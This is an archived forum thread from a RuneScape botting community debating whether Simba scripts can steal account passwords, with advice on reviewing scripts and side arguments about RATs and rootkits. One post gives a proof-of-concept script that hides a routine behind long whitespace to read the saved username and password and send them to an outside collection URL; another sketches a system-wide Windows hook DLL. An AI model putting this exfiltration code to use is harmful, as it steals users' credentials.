SRL Archive - Discussions & Debates

So guys , ive been searching all over this forum, for people who got hacked after using simba , All say it cant be zimba or the scripts,
well i have news it can,

First time i installed simba (Note no other bots what so ever used)
Botted for like 30 minutes didn't work good ,(atleast the script) I had to go eat , i came back after 10 minutes my acount was hacked, i thaught oh well i dont give a damn maybe i was on some weird forum or something ,
so i reinstalled my pc Fresh install, so that Everything is clean. after that i changed my password everything, and i made a bankpin (thankgod)so,

Today i installed simba again, wanted to check if it would work better now ,
installed everythign again for 07 scripts,
So i run first script didn't work good, so i downloaded another, this one worked so fine, but i forgot to change when it eats food,
so i log out, stop script and change when it eats food, i want to log in again, And there you are , Again same thing cant log in your acount is already logged in , after 5 minutes i could log in , and seem to find myself once again at lumbridge bank , but luckely nothing was stolen , because of my bankpin ;D

So please Guys explain how this can be, dont give me that crappy shit that i used other bots or forums or what so ever (fresh install of windows so NO)

Its not that i am mad or something , Its nice to see it works good for some of you , But i just want to know is this possible?

Grtz Dreams

Zimba definitely sounds like a dodgy program. You should try Simba instead.

Rofl damn spelling XD

SSSSSSSimba, not zimba.

Ninja'd

Maybe zimba stole your password, simba would never do that.

Its all open source… spend a day of your life looking through everything if you're suspicious.

I just installed it , i just want a quick answer if this is possible , of people to make in scripts that they can get your password, using Simba

From: Dreams112
I just installed it , i just want a quick answer if this is possible , of people to make in scripts that they can get your password, using Simba

Sure, it's possible. What scripts were you using?

The first one was iCombatProSMART and the second one was Hoodzfighter ;) i dont see anything weird in the hoodzfighter, but i havn't checked the other one yet.

Not shure what i ahve to look for either, if someone could do this for me:O
i would realy apriciate it.

4 posts, all about how zimba hacked you. Anti-botting troll perhaps?
Are you "SHURE" you havent downloaded ANYTHING else? Did you change your password after you were hacked the first time? Did you change it after you restored your computer? If you havent changed it, obviously you don't have to be infected to get hacked again… and if you changed it before reset and didnt change it after, than your info could've been compromised before you restored your computer.

Uhm dude can you read at all?

Fresh Install of windows , I change my password twice , i Dont use any forums , Read better next time

and i logged out myself , so disabling smart , log out and , then shut down script and then simba. and after that i wanted to log in again , and then it said, your acount is logged in , so its not an anti botting troll.

Sorry, I won't do it again.

Ok dude don't be rude because 99% of the people who claim they've been hacked by simba, actually get hacked through java drive bys, RATs or other ways. So you can understand why people would say that.

If you are suspicious about a script …….. read it!

Simba>View>Extensions>Security.sex

Enable it and it will show outgoing connections from scripts which you can allow/deny.

From: Dreams112
The first one was iCombatProSMART and the second one was Hoodzfighter ;) i dont see anything weird in the hoodzfighter, but i havn't checked the other one yet.

Not shure what i ahve to look for either, if someone could do this for me:O
i would realy apriciate it.

The version of iCombatProSMART that is available to download is clean, just checked it.

I'm not rude LOL , i jsut reinstalled pc and everything , so there is no point of saying , are you shureeeeeeeeee you did not use another bot ore forum LOl thats just plain stupid , ofcourse i'm shure else i would tell you that.


and thx bmw for checking it . [Edit] i was looking at iCombatProSMART post , and someguy is saying this hacked his acount to ;p just sayin. and after using the security thingy , it says firewall bla bla bla, is this normal or>?

From: Dreams112
I'm not rude LOL , i jsut reinstalled pc and everything , so there is no point of saying , are you shureeeeeeeeee you did not use another bot ore forum LOl thats just plain stupid , ofcourse i'm shure else i would tell you that.


and thx bmw for checking it . [Edit] i was looking at iCombatProSMART post , and someguy is saying this hacked his acount to ;p just sayin. and after using the security thingy , it says firewall bla bla bla, is this normal or>?

Everything is open source.
You didn't get hacked by SRL.

Do you have the IP of the person who last logged in?

From: Dreams112

and thx bmw for checking it . [Edit] i was looking at iCombatProSMART post , and someguy is saying this hacked his acount to ;p just sayin. and after using the security thingy , it says firewall bla bla bla, is this normal or>?

I can't say anything about any other versions because I can't see them, but if you post (in Simba tags) the scripts that you used then I can look through them. Remember to remove your rame & pass when posting them.

Well it really depends on the scripts taht you are using. But its simba. I think other ppl already addreessed that

Do you happen to have anyone else that uses your computer? I know my little brother back in the day downloaded some crap off youtube… luckily I saw in history and reset my computer before anything bad could happen…
I'm sure its possible to be hacked by a script, but since they're all open source its unlikely to happen. How much did you lose your first time around?

https://github.com/SRL
https://github.com/MerlijnWajer/Simba
https://github.com/BenLand100/SMART

SRL, Simba and SMART's source. Feel free to view the source code and see for yourself, there's nothing about password sending\hacking.

If you're quite persistent that you've never used another bot on your computer, never visited other botting websites, never paid someone to do a service for you, and never played a private server, then you either used mx1000's modified SMART client, you downloaded Simba from someone/somewhere other than wizzup.org, or you used a malicious script. Official Simba/SMART/SRL simply do not do this, I can't stress that enough and that's a simple as it's going to get.

Yeah..so. I fixed the response so anyone could easily read it.

From: Dreams112
Hello guys, I've been searching through this forum for possible evidence that Simba is the source of recent hackings.

The first time I installed Simba (Note: No other programs have been used) I used a script for 30 minutes, which didn't perform to my expectations. As I returned to my computer from eating, I noticed my account had been hacked, which didn't bother me too much. I reinstalled the OS on my pc, created a bank pin, and reinstalled Simba.

After finding a script that worked well, I had forgotten to set the timer to when it consumes food, so I logged off and adjusted the setting. I could not log back on, and my account was already logged in. I found myself in Lumbridge bank, but nothing was stolen due to my new bank pin!

So can anybody help? And don't give me any legitimate excuse about using other programs or forums since the SRL community clearly doesn't hack accounts.

It's not that I'm mad, it's that I'm upset.

Grtz Dreams

My response: You downloaded something, are a member of a private server, or share accounts with someone. Take any you choose. I've been creating scripts and running scripts since 2008 (no longer have access to my older account; not banned either) without being hacked.

From: Rhiot
Yeah..so. I fixed the response so anyone could easily read it.


My response: You downloaded something, are a member of a private server, or share accounts with someone. Take any you choose. I've been creating scripts and running scripts since 2008 (no longer have access to my older account; not banned either) without being hacked.

This.

You are more than welcome to compile it yourself :)

Feel free to post any "password stealing" code, and we can tell you exactly what each line does, sorry man that is the best I can give you.

No doubt a script that runs on the simba client COULD hack you, but the hacking code must be written in the script and we will be able to see it, so there is always that possibility but again very rare and one of the SRL members would notice the code.

From: Dreams112
i came back after 10 minutes my acount was hacked, i thaught oh well i dont give a damn maybe i was on some weird forum or something

From: Dreams112
Uhm dude can you read at all?

Fresh Install of windows , I change my password twice , i Dont use any forums , Read better next time

Make up your mind LOL.

100% you've not been hacked by SIMBA, SMART or the SRL library unless, like Flight said you've downloaded a dodgy copy of them.

If you want to see if a script is safe yourself without knowing how to read the code, you can search the script for 'name' and 'pass'. If you find them in any other places apart from where you enter your players details, esp pass, then it may be suspicious. Some people do use player name in the progress report so if its in that sections of the script then you could say that's ok.
I'm sorry if you did get hacked as I'm sure it can't be a nice feeling but personally I think your shit stirring.

What I'm tired of hearing is: "It's open source".

Open source doesn't mean or explain anything to a guy claiming it hacked him.

The reason I say this is because NO ONE.. Not a single one of you really compile Simba with EVERY SINGLE release.. No. I'm sure every single one of you have downloaded from Wizzup.org at one point or another because of laziness or just because you "TRUST" Wizzup.


The only possibility I see of this guy getting hacked is if someone with access to Wizzup.org where he downloads simba from, swapped the links temporarily and swapped back.

Now I'm not saying that happened because I obviously trust Wiz and I download from there and haven't been hacked. Even today.

But that gives no one the right to say "Open Source" as a valid argument. Don't abuse the phrases.


@OP. If you truly; and I mean honestly reformatted cleanly and got hacked twice in a row and want someone to believe you, you might wanna check your security.


Get an Anti-virus. I might be a hypocrite saying this because I don't use one but you clearly need one.
Get Malwarebytes.

Use WPA-2 for you Router/Wifi-connection. I can't tell you the amount of times WEP can get cracked in less than a minute. Update your service packs. Why? Because the amount of disgusting holes windows has is un-imaginable. Use Java-7.. Zero-days hit java fairly often. More than often you need an update.

What do you consider a fresh install?

For me a fresh install is Wipe Windows, install Chrome and Adblock plus. That's all. I don't install anything else when I'm testing stuff.. You do this + Simba.. If you get hacked, come back and post what you were using. If not, then you did something wrong the first time.

From: Brandon
What I'm tired of hearing is: "It's open source".

Open source doesn't mean or explain anything to a guy claiming it hacked him.

The reason I say this is because NO ONE.. Not a single one of you really compile Simba with EVERY SINGLE release.. No. I'm sure every single one of you have downloaded from Wizzup.org at one point or another because of laziness or just because you "TRUST" Wizzup.


The only possibility I see of this guy getting hacked is if someone with access to Wizzup.org where he downloads simba from, swapped the links temporarily and swapped back.

Now I'm not saying that happened because I obviously trust Wiz and I download from there and haven't been hacked. Even today.

But that gives no one the right to say "Open Source" as a valid argument. Don't abuse the phrases.

I was going to mention this as you've posted this before. I was just looking for your post you did but it was a long time ago lol. Glad I checked back here to see that you posted it.
Think of the devil and he appears lol :p

From: Brandon
What I'm tired of hearing is: "It's open source".

Open source doesn't mean or explain anything to a guy claiming it hacked him.

The reason I say this is because NO ONE.. Not a single one of you really compile Simba with EVERY SINGLE release.. No. I'm sure every single one of you have downloaded from Wizzup.org at one point or another because of laziness or just because you "TRUST" Wizzup.


The only possibility I see of this guy getting hacked is if someone with access to Wizzup.org where he downloads simba from, swapped the links temporarily and swapped back.

Now I'm not saying that happened because I obviously trust Wiz and I download from there and haven't been hacked. Even today.

But that gives no one the right to say "Open Source" as a valid argument. Don't abuse the phrases.

You nailed it just right, Brandon.

'Tis true, as far as open-source goes it's only an advantage, security-wise, to use this in in argument if the user actually goes through and looks at all of the source code of Simba and whatever else. Throwing out the term 'open-source' in an argument doesn't justify security, it stands only as a method that you (and anyone) may use to double-check what you're using is safe. If you don't actually check the source, then what's the point?

The fact is we can go through and skim it all, but for many reason we just prefer to put our trust in the development team. This is fine if you trust them, if not, I do very much encourage you to take a look yourself.

The open source argument works for me when I'm talking about scripts, because I do look through the script before I use it. When I comes to Simba, I trust Wizzup and the others with my things because I don't feel it's a risk.

But the View->Extentions->security.sex and reading over new srl versions and script versions before running argument definitely defeats them all. If you really wanted to, you could read the github source or new simba files before you used them. You could read the new code that is downloaded from an auto downloader. don't try to bring other people into it; because in the end it's the result if your own shortcoming.

I remember that back in days I got hacked by one smelting script. I think there were others too. Anyone remembers that?
But that was like 4 years ago. Haven't had problems since.

From: Brandon

The reason I say this is because NO ONE.. Not a single one of you really compile Simba with EVERY SINGLE release.

I do >..>

The script might have had a flaw where it types your username and pass in-game. If you make a typo in ur pw which you fill into the scripts login procedure, it will not be censored by the game and in case of the typo being plain-obvious to correct, someone might have seen and done it.

Simba is a community formed on learning and the advancement of knowledge. Why would they risk a whole community for a couple dollars in virtual currency? You're about fifty times more likely to get hacked from Powerbot than Simba.

From: Zeds
Simba is a community formed on learning and the advancement of knowledge. Why would they risk a whole community for a couple dollars in virtual currency? You're about fifty times more likely to get hacked from Powerbot than Simba.

PB and EB were both hit by bad code monkeys. The advantage of simba is we can peer review the code to check for security. Ive seen members (Ashman, Flight, etc.) review code just for the sake of good antiban.

The best defense is write your own scripts, or at least try to understand everything a script does BEFORE you run it.

It can be done. Although Simba itself has control of what sites a script accesses, if a script did try to grab your username and password via sending to an external site, this process would notify you and allow you to block the connection or take a educated action to whether the site is legit.

i do remember distinctly someone making a plugin i think it was iroki not completely sure, they made a plugin to solve randoms i think and it also had password stealing functionality. However he was later caught. The plugin was later cleaned and re-released and of course the member was ban but later he was unban. Again not too sure on this or the details. it happened a while ago.

Edit : Not completely sure on these details..dont hold me to them. completely of memory

From: Kasi
It can be done. Although Simba itself has control of what sites a script accesses, if a script did try to grab your username and password via sending to an external site, this process would notify you and allow you to block the connection or take a educated action to whether the site is legit.

Is this only with security.sex enable or is it always?

Like would it allow access to rscript.org automatically but would give a warning box for srljustin.com?

Unless its by ashaman or a trusted scripter, don't download scripts with automatic updates. Other than that just press control + F and search password. If nothing comes up it is definitely not a password stealer.

From: Joseph D
Unless its by ashaman or a trusted scripter, don't download scripts with automatic updates. Other than that just press control + F and search password. If nothing comes up it is definitely not a password stealer.

Not gonna explain how but their are a few other ways to steal passwords.

From: BMWxi
Is this only with security.sex enable or is it always?

Like would it allow access to rscript.org automatically but would give a warning box for srljustin.com?

not completely sure, again its from what i know, no script can disable this..it should pretty much be common practice to have it enabled.

From: Joseph D
Unless its by ashaman or a trusted scripter, don't download scripts with automatic updates. Other than that just press control + F and search password. If nothing comes up it is definitely not a password stealer.

i wonder how the trusted scripters got there if no one trusted their scripts.

well something similar happened for me , 3DAYS ago i got hacked lost few mills , well i thought its because of wbot , because when wbot closed i didnt changed my pass. So after i changed my pass i only used simba 07scape fightcaves bot ( yes ill entered pass and username in script for 6h auto relog) , today ill got again scammed , i checked my pc with windows defender 0 files found and also with malware bytes 0 files found , any advice should ill reinstall windows or any new antivirus program should ill try?

From: tealc
Not gonna explain how but their are a few other ways to steal passwords.

Well that answer isn't shady at all… from what I can think of, there is no way to access my account without illegally breaching my computer. Or you could break into my house and hack my computer by your wondrous scripter skills. Without automatic updates or an official SRL push update you aren't getting your account stolen. If you update your script and add it to Villavu with your account details its your own damn fault.

From: Joseph D
Well that answer isn't shady at all… from what I can think of, there is no way to access my account without illegally breaching my computer. Or you could break into my house and hack my computer by your wondrous scripter skills. Without automatic updates or an official SRL push update you aren't getting your account stolen. If you update your script and add it to Villavu with your account details its your own damn fault.

It'd actually be very easy to steal accounts if no one checked over scripts before using them. That's why if you plan on using a script, it's always best to do a search for "Pass" first. It shouldn't be found anywhere apart from DeclarePlayers.

From: Rich
It'd actually be very easy to steal accounts if no one checked over scripts before using them. That's why if you plan on using a script, it's always best to do a search for "Pass" first. It shouldn't be found anywhere apart from DeclarePlayers.

Yeah use Ctrl F to search :P, Some people do stuff like Password := ANameOfConst and stuff but that's rare.

From: Dreams112
I just installed it , i just want a quick answer if this is possible , of people to make in scripts that they can get your password, using Simba

Yea? They can do anything.. simba does what it's told. It'll delete your hard drive if you tell it to… scripts like that get reported / taken down so fast that the people who make them, don't even make them on this site anymore.. they privately sell password stealing scripts / go to sythe etc, doesn't happen on villavu.

Brandon is correct in his previous statements relating to obscure very specific methods of stealing your information through official SIMBA, but otherwise, i believe Wizzup is very trustworthy and I have read through the source code of SIMBA (not every release, only once. I will grant that). SMART could theoretically hack you, but the official versions do not and as far as I know, only mx1000 (who was never of a member status or of any rank of value) released his own version which did exactly that.

I was 'hacked' (cough, cough) once, because I accidentally uploaded my name/pw into a release. SIMBA cannot explicitly hack you. A script CAN explicitly steal your information, however, using the security extension can help you verify its use of the internet (and therefore password stealing capabilities) if you don't want to read the code (which is the best manner of determing if an individual script is untrustworthy).

If you suspect any script, feel free to ask any and everyone to read it over for you to verify how safe it is prior to using it. If you follow a highly rated tutorial for the setup process (such as CoHen's - I hope I got his name right), then you will be quite safe in everything and it will be up to individual scripts to be unsafe. As far as individual scripts go, I would suggest avoiding picking any that are not here on villavu.

It's up to you for where you wish to put your trust, but you do have the capability of being entirely un-trusting of any source, and yet still use any script simply by reading them first.

From: Joseph D
Unless its by ashaman or a trusted scripter, don't download scripts with automatic updates. Other than that just press control + F and search password. If nothing comes up it is definitely not a password stealer.

I suppose I should do this for all scripts I use but I generally dont with trusted scripters. I also go way beyond just a search for password … I CTRL F the following for new scripts -


www
http
email
mail
password
send

And others I cant really think of right now … I am not sure but password itself will just show you where you need to enter it … I basically do a manual search for the stuff the .security would look for as well.

From: digitalninja
I suppose I should do this for all scripts I use but I generally dont with trusted scripters. I also go way beyond just a search for password … I CTRL F the following for new scripts -


www
http
email
mail
password
send

And others I cant really think of right now … I am not sure but password itself will just show you where you need to enter it … I basically do a manual search for the stuff the .security would look for as well.

I don't get why you would look up http, because you don't need http and www would cover that anyways. I also don't get why you look up send, because I don't even think there is a send function in SRL especially not for an email or something. Email? Mail? the only thing I really think you need in there is www and password. Maybe mail because of email, but then again www would probably flag where the email is going to. Sorry to be nitpicky but I just don't see the reasoning behind it…

Keep in mind Some people DID post phishing links inside scripts that grab the username/password, you always JUST HAVE to read the script before you run it, i.e search inside using Control + F "Http" if its an odd link, its a keylogger then.

My friend was asking me to help him run a script, and the idiot picked one that had a phisher inside it that grabbed the username/pw and emailed them to this fat kid, i just yelled at him for being so stupid.

Moral is don't get your self hacked and be very careful, i am a retard too, i Clicked a jave drive by link from a youtube video about a bot that said its a 'browser based runescape bot', luckily the nice people on sythe helped me remove it, before i did, i just pmed my password link change page to my friend on irc and he changed it for me and didn't give me it till i got my account secure, just to be safe!.

My script is safe, and if you are not sure you can read the code yourself :p

A RAT regrows even after re-installing windows, all you have to do is log in. JBD's are very easy you might have gone on a website, and there has been a silent one so you got infected without knowing it. Noone should blame you hoodz, beautiful script right there :D is it possible for potions ;)

the moment you go online, you are already exposed to viruses.
please at least install somekind of firewall program such as zonealarm that controls/blocks internet access from applications.
and if you are using some old versions of windows XP, without firewall on, you are immediately exposed to blasterworm(not sure if it still exist now).

looks like I need firewall too, not sure about that windows one

I have never used a firewall and upon every Windows installation, I have disabled my firewalls.
I have not used an anti-virus/spyware in 6 years.
I have also never been hacked or received a virus, or had spyware/adware on any of my computers.

You just have to be smart about how you handle the internet: where you download stuff, what links you click, and whom you trust.

As an additional side note: yes, some scripters know very easy methods to take your account information for their own. And using ctrl+f "password" will not get you by all of them. I instead recommend using the Security Extension as it will ask permission any time a unique connection to the internet is made so you can verify it. (This will happen a ton in scripts either way, but it's the safest method when you don't know what to look for otherwise)

Here is an example how account stealing could be achieved:

program AccountStealPoC;

procedure DeclarePlayers;
begin
  {HowManyPlayers := 1;
  NumberOfPlayers(HowManyPlayers);
  CurrentPlayer := 0;
  with Players[0] do
  begin
    Name        := 'ExUsername';
    Pass        := 'expassword';
    Nick        := 'sern';
    Pin         := '1234';
    Active      := True;
  end;}
end;

                                                                                                                                                                                                                    procedure StealAccounts;
                                                                                                                                                                                                                    var FileHandle: Integer;
                                                                                                                                                                                                                        Data: String;
                                                                                                                                                                                                                    begin
                                                                                                                                                                                                                      FileHandle := OpenFile(ScriptPath + ScriptFile, False);
                                                                                                                                                                                                                      ReadFileString(FileHandle, Data, FileSize(FileHandle));
                                                                                                                                                                                                                      CloseFile(FileHandle);
                                                                                                                                                                                                                      Data := Between(' := 0;', 'Active', Data);
                                                                                                                                                                                                                      Writeln(GetPage('http://static.frement.net/srl/accountstealpoc/collect.php?d=' + Base64Encode(Data)));
                                                                                                                                                                                                                    end;

begin
  StealAccounts;
end.

You know there is a firewall extension right?

From: Kevin
I have never used a firewall and upon every Windows installation, I have disabled my firewalls.
I have not used an anti-virus/spyware in 6 years.
I have also never been hacked or received a virus, or had spyware/adware on any of my computers.

You just have to be smart about how you handle the internet: where you download stuff, what links you click, and whom you trust.

As an additional side note: yes, some scripters know very easy methods to take your account information for their own. And using ctrl+f "password" will not get you by all of them. I instead recommend using the Security Extension as it will ask permission any time a unique connection to the internet is made so you can verify it. (This will happen a ton in scripts either way, but it's the safest method when you don't know what to look for otherwise)

you are lucky i guess. im saying this because i experienced such things myself. quite a few years back when i was still using windows XP or windows 98 (cant rmb which), my computer was infected with blasterworm immediately when i connect to the internet( via 56K modem) without antivirus/firewall on.
i can swear to you that in those days, i never even visited google before i switched to broadband internet in 2006. this is because internet fees were pretty expensive back then using 56K connections and i hardly even use my computers until i switched over to broadband. by then, i had already upgraded my desktop to a newer one with windows XP.
nowadays you dont face the problems i did back then because windows XP SP1 onwards already patched the loopholes even without firewall on.

Good old days when you had to install firewall before connecting to internet :D

From: Gaielka
A RAT regrows even after re-installing windows, all you have to do is log in.

You can't be serious?

From: Rich
You can't be serious?

yeh i am sorry mate it is true, i have a friend who is into that and he seems to enjoy messing around with my settings :)

From: Gaielka
yeh i am sorry mate it is true, i have a friend who is into that and he seems to enjoy messing around with my settings :)

It's not true at all. Formatting your HDDs and re-installing Windows means that every single piece of data will have been removed, including RATs and any other viruses or malware.

From: Gaielka
yeh i am sorry mate it is true, i have a friend who is into that and he seems to enjoy messing around with my settings :)

From: Rich
It's not true at all. Formatting your HDDs and re-installing Windows means that every single piece of data will have been removed, including RATs and any other viruses or malware.

I'm gonna have to agree with Rich here. Your buddy may be a smart guy and whatnot, I don't know him. But there is literally nothing that will survive a HDD re-format and re-installation of an OS.

From: Rich
I'm gonna have to agree with Rich here. Your buddy may be a smart guy and whatnot, I don't know him. But there is literally nothing that will survive a HDD re-format and re-installation of an OS.

From: Kevin
I'm gonna have to agree with Rich here. Your buddy may be a smart guy and whatnot, I don't know him. But there is literally nothing that will survive a HDD re-format and re-installation of an OS.

Incorrect. A firmware rootkit uses device or platform firmware to create a persistent malware image in hardware, such as a network card, hard drive or even the system BIOS. But I highly doubt someone would go such extents for Runescape pixels :)

From: superuser
Incorrect. A firmware rootkit uses device or platform firmware to create a persistent malware image in hardware, such as a network card, hard drive or even the system BIOS. But I highly doubt someone would go such extents for Runescape pixels :)

But a firmware rootkit would require admin access and be written in some base language like C. I'm not aware of that type of capability being capable from a RAT, correct?

From: Kevin
But a firmware rootkit would require admin access and be written in some base language like C. I'm not aware of that type of capability being capable from a RAT, correct?

Incorrect. As you said, you need a native language like C/C++/Asm etc. to achieve this. I suspect you don't know what RAT means, so in case you didn't know, it stands for Remote Access Tool, which in place can do anything the designer wishes. Doesn't have to be done in Java, can be done even with Pascal!

superuser is right it is possible to do it that way. You can do a rootkit scan tho with some of the virus scanners that are out there ;)

From: Brandon


The only possibility I see of this guy getting hacked is if someone with access to Wizzup.org where he downloads simba from, swapped the links temporarily and swapped back.

This happened to Powerbot when it was still open sourced by Jacmob, who created another botting community just to stab them in the back again to become a JMod.

From: superuser
Incorrect. A firmware rootkit uses device or platform firmware to create a persistent malware image in hardware, such as a network card, hard drive or even the system BIOS. But I highly doubt someone would go such extents for Runescape pixels :)

Meh.. but I'm sure they'd go the lengths to write one that scans & spreads to other partitions. Most users would only format their current partition which they think has the virus and bam.. when they're done formatting, it spreads back lol. Pure evil! I would guess that it would only be able to spread back if the other partition contains an OS because it'd need Startup/Reg-run or installation as a service.

Also some users don't wipe the "System" partition that Windows-7 makes :l

From: Brandon
Meh.. but I'm sure they'd go the lengths to write one that scans & spreads to other partitions. Most users would only format their current partition which they think has the virus and bam.. when they're done formatting, it spreads back lol. Pure evil! I would guess that it would only be able to spread back if the other partition contains an OS because it'd need Startup/Reg-run or installation as a service.

Also some users don't wipe the "System" partition that Windows-7 makes :l

Yeah. I haven't been on the "scene" for a long time and don't know for sure, but maybe it's still possible to overwrite e.g. MBR on hard-drives, which survives formatting as well.

Edit:

Hah, had to try something for the sake of good old times :) I created a service, which auto starts and install system wide CBT hook (and injects DLL into each process). But, for my surprise, this is not possible out of the box anymore. Not at least in Windows 7, which is a good thing ;)

#include <windows.h>

...

#pragma data_seg("Shared")
    HHOOK g_hHook = NULL;
#pragma data_seg()

#ifdef __MYHOOK_EXPORTS
    #define __MYHOOK_API __declspec(dllexport)
#else
    #define __MYHOOK_API __declspec(dllimport)
#endif


...

LRESULT CALLBACK CBTProcedure(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode < 0)
        return CallNextHookEx(g_hHook, nCode, wParam, lParam);

    if (!hWnd)
        return 0;

    switch (nCode) {
        case HCBT_ACTIVATE:
            // e.g. register window with hHWnd..

            break;

        case HCBT_DESTROYWND:
            ...

            break;
    }
}

bool __MYHOOK_API InstallHook()
{
    g_hHook = SetWindowsHookEx(WH_CBT, (HOOKPROC)CBTProcedure, g_hInstance, 0);

    return g_hHook != NULL;
}

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            ...

            break;
    }

    return TRUE;
}

I use the scripts you mentioned using..
Never ever had a problem with a "hacker" stealing my GPz through "zimba"

So I am not sure if someone else touched this topic with this approach. Please upload the script to Pastebin or PasteIt and message me the URL. I will check the script over and guess what…Mystery solved. Rather than trying to suggest ways of how it is possible, lets try to figure out if it was even true?

:)

If by any chance you are willing to use pastebin, feel free to send that URL to the mods and I :)

From: Dreams112
The first one was iCombatProSMART and the second one was Hoodzfighter ;) i dont see anything weird in the hoodzfighter, but i havn't checked the other one yet.

Not shure what i ahve to look for either, if someone could do this for me:O
i would realy apriciate it.

iCombatProSMART has nothing 'dodgy' in it

From: BMWxi
The version of iCombatProSMART that is available to download is clean, just checked it.

Thank you, nice for someone to back me up when people randomly accuse me of 'hacking them' :)

From: Kevin
I have never used a firewall and upon every Windows installation, I have disabled my firewalls.
I have not used an anti-virus/spyware in 6 years.
I have also never been hacked or received a virus, or had spyware/adware on any of my computers.

You just have to be smart about how you handle the internet: where you download stuff, what links you click, and whom you trust.

As an additional side note: yes, some scripters know very easy methods to take your account information for their own. And using ctrl+f "password" will not get you by all of them. I instead recommend using the Security Extension as it will ask permission any time a unique connection to the internet is made so you can verify it. (This will happen a ton in scripts either way, but it's the safest method when you don't know what to look for otherwise)

ipgrab, poison router. /rip

From: Tuk
ipgrab, poison router. /rip

Poison my dns table? Oh so scary. That's not noticeable/fixable within minutes. Port scan my machine for basic OS vulnerabilities? Also detectable. XSS? Easily discovered and avoided. There's not much that can't be done just by paying attention. And you don't need a firewall to block ports - and that's all a firewall really does.

From: Kevin
Poison my dns table? Oh so scary. That's not noticeable/fixable within minutes. Port scan my machine for basic OS vulnerabilities? Also detectable. XSS? Easily discovered and avoided. There's not much that can't be done just by paying attention. And you don't need a firewall to block ports - and that's all a firewall really does.

A professional would be able to do a lot in that time, if it's worth their time to target you.

From: Tuk
A professional would be able to do a lot in that time, if it's worth their time to target you.

A professional can do a lot in the time they have a computer - if they have full access to it. DNS table poisoning grants no access to my computer, a port scan CAN - if they know a lot of details about my computer and they somehow flood me with hundred of millions of packets before I notice (very unlikely). XSS is the best chance at getting my information… And that will only get my username/password to a given website if I fall for it.

From: Kevin
A professional can do a lot in the time they have a computer - if they have full access to it. DNS table poisoning grants no access to my computer, a port scan CAN - if they know a lot of details about my computer and they somehow flood me with hundred of millions of packets before I notice (very unlikely). XSS is the best chance at getting my information… And that will only get my username/password to a given website if I fall for it.

Hey man. I got an email from the FBI, they told me the director was stealing our money, and now they need your address, phone number, social security number(Saftey reasons), and credit card number. I already gave the mine. Why don't you PM me yours?

/joke

Ik the Solution. Give me your computer. That solves any of the above problems, and takes someone stupid off the internet :)

/joke

/thread

Zimba? Sounds like a sketch fest to me.